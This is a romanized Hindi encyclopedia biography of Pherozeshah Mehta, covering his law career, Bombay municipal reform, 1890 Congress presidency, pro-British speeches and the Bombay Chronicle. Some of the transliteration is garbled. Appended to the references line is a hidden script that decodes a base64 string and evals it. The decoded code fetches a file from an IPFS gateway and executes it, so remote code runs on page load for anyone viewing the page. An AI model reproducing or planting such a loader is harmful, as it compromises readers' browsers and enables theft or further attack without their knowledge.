फिरोज़शाह मेहता
firojashah mehata (janm - 4 agast 1845; mrityu - 5 navambar 1915) bharatiy rajaneta, banbee nagarapalika ke sanvidhan (chartar) ke nirmata tatha aangrezi bhasha ke akhabar b aaumbe kr aaunikal ke sansthapak (1913). 1904 mean unhean 'nait' ki upadhi se vibhooshit kiya gaya.
janm
apane samay ke prasiddh bharatiy neta aur spasht vakta firojashah mehata ka janm 4 agast, 1845 ee. ko mumbee ke ek prasiddh vyavasayi parivar mean hua tha. apane bharat mean uchch shiksha prapt ki thi. parasi samaj mean em. e. pas karane vale firojashah mehata pahale yuvak the.
jivan parichay
firozashah ne char varsh tak ianglaid mean qanoon ka adhyayan kiya tatha 1868 mean vahi se vakalat (bairistar) ki pariksha uttirn kar bharat laute. mumbee ke kamishnar arthar kr aaufard ka ek qanooni mamale mean bachav karate hue unhoanne sthaniy shasan ke sudhar ki avashyakata mahasoos ki aur 1872 ke nagarapalika adhiniyam ki rooparekha taiyar ki, jisake karan vah 'banbee sthaniy shasan ke janak' kahalae. 1873 mean vah isake ayukt niyukt hue aur 1884-85 tatha 1905 mean adhyaksh ke roop mean bhi kary kiya. 1886 se banbee vidhan parishad ke sadasy rahate hue vah 1893 mean gavarnar-janaral ki sarvochch vidhan parishad ke lie chune ge. 1890 mean unhoanne bharatiy rashtriy kaangres ke chhathe adhiveshan ki adhyakshata ki. 1910 mean ianglaiand ki sankshipt yatra ke pashchat vah banbee vishvavidyalay ke kulapati niyukt hue. 1911 mean unhoanne us seantral baiank aauf iandiya ki sthapana mean yogadan kiya, jo bharatiyoan dvara vitt poshit tatha niyantrat tha.
shiksha v rajaniti mean pravesh
firojashah mehata beristari ki shiksha prapt karane ke lie ianglaind ge. vahaan unaka dadabhaee nauroji se bhi sampark hua. ve vahaan bharat ke paksh mean avaz uthane vali sansthaoan se bhi ju de rahe. bharat akar unhoanne vakalat arambh ki aur shighr hi unaki ganana saphal beristaroan mean hone lagi. unhoanne 'mumbee myunisipal bord' ke karyoan mean gahari ruchi li. unaka nagar mean itana prabhav tha ki unhean ‘mumbee ka mukutahin raja’ kaha jata tha. firojashah mehata 1886 mean 'mumbee lejisletiv kauansil' ke lie manonit kie ge. bad mean kendr ki 'ianpiriyal kauansil' ke bhi sadasy rahe.
aangrezoan ke prashansak
kaangres se unaka sambandh usaki sthapana ke samay hi ho gaya tha. us samay ke anek netaoan ki bhaanti firojashah mehata bhi naram vicharoan ke rajanitijn the. ve aangrezoan ke prashansak the. 1890 ee. mean unhoanne kaangres ke kolakata adhiveshan ki adhyakshata ki. is avasar par unhoanne apane bhashan mean kaha tha ki, ‘yadi ap aangrezoan ke samajik, naitik, manasik aur rajanitik gunoan ko apanayeange to bharat aur briten ke bich sada achchha sambandh rahega.’ 1904 ki mumbee kaangres ke svagatadhyaksh ke roop mean bhashan karate hue unhoanne kaha ki, ‘maianne duniya ko nahian banaya. jisane ise banaya hai, vah svayan ise sambhalega. isilie maian to aangrezi raj ko eeshvar ki den manata hooan.’
shiksha ke pakshadhar
firojashah mehata shiksha par bahut zor dete the. naukarashahi ko janata ki maan-bap samajhane ki pravritti ka unhoanne sada virodh kiya. ve apane samay ke un tho de se netaoan mean se the, jinaka janata aur aangrez sarakar donoan samman karate the. samay-samay par ve sarakar se bhi d bhi jate the. apane jivan ke antim dinoan mean firojashah mehata ne aangrezi dainik patr ‘bambe kranikal’ ka prakashanash arambh kiya. bad mean is patr ka desh ke svatantrata sangram mean b da yogadan raha.
nidhan
5 navambar, 1915 ee. ko firojashah mehata ka nidhan ho gaya.
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tika tippani aur sandarbh
sharma, liladhar bharatiy charit kosh (hindi). bharat diskavari pustakalay: shiksha bharati, dilli, prishth 501.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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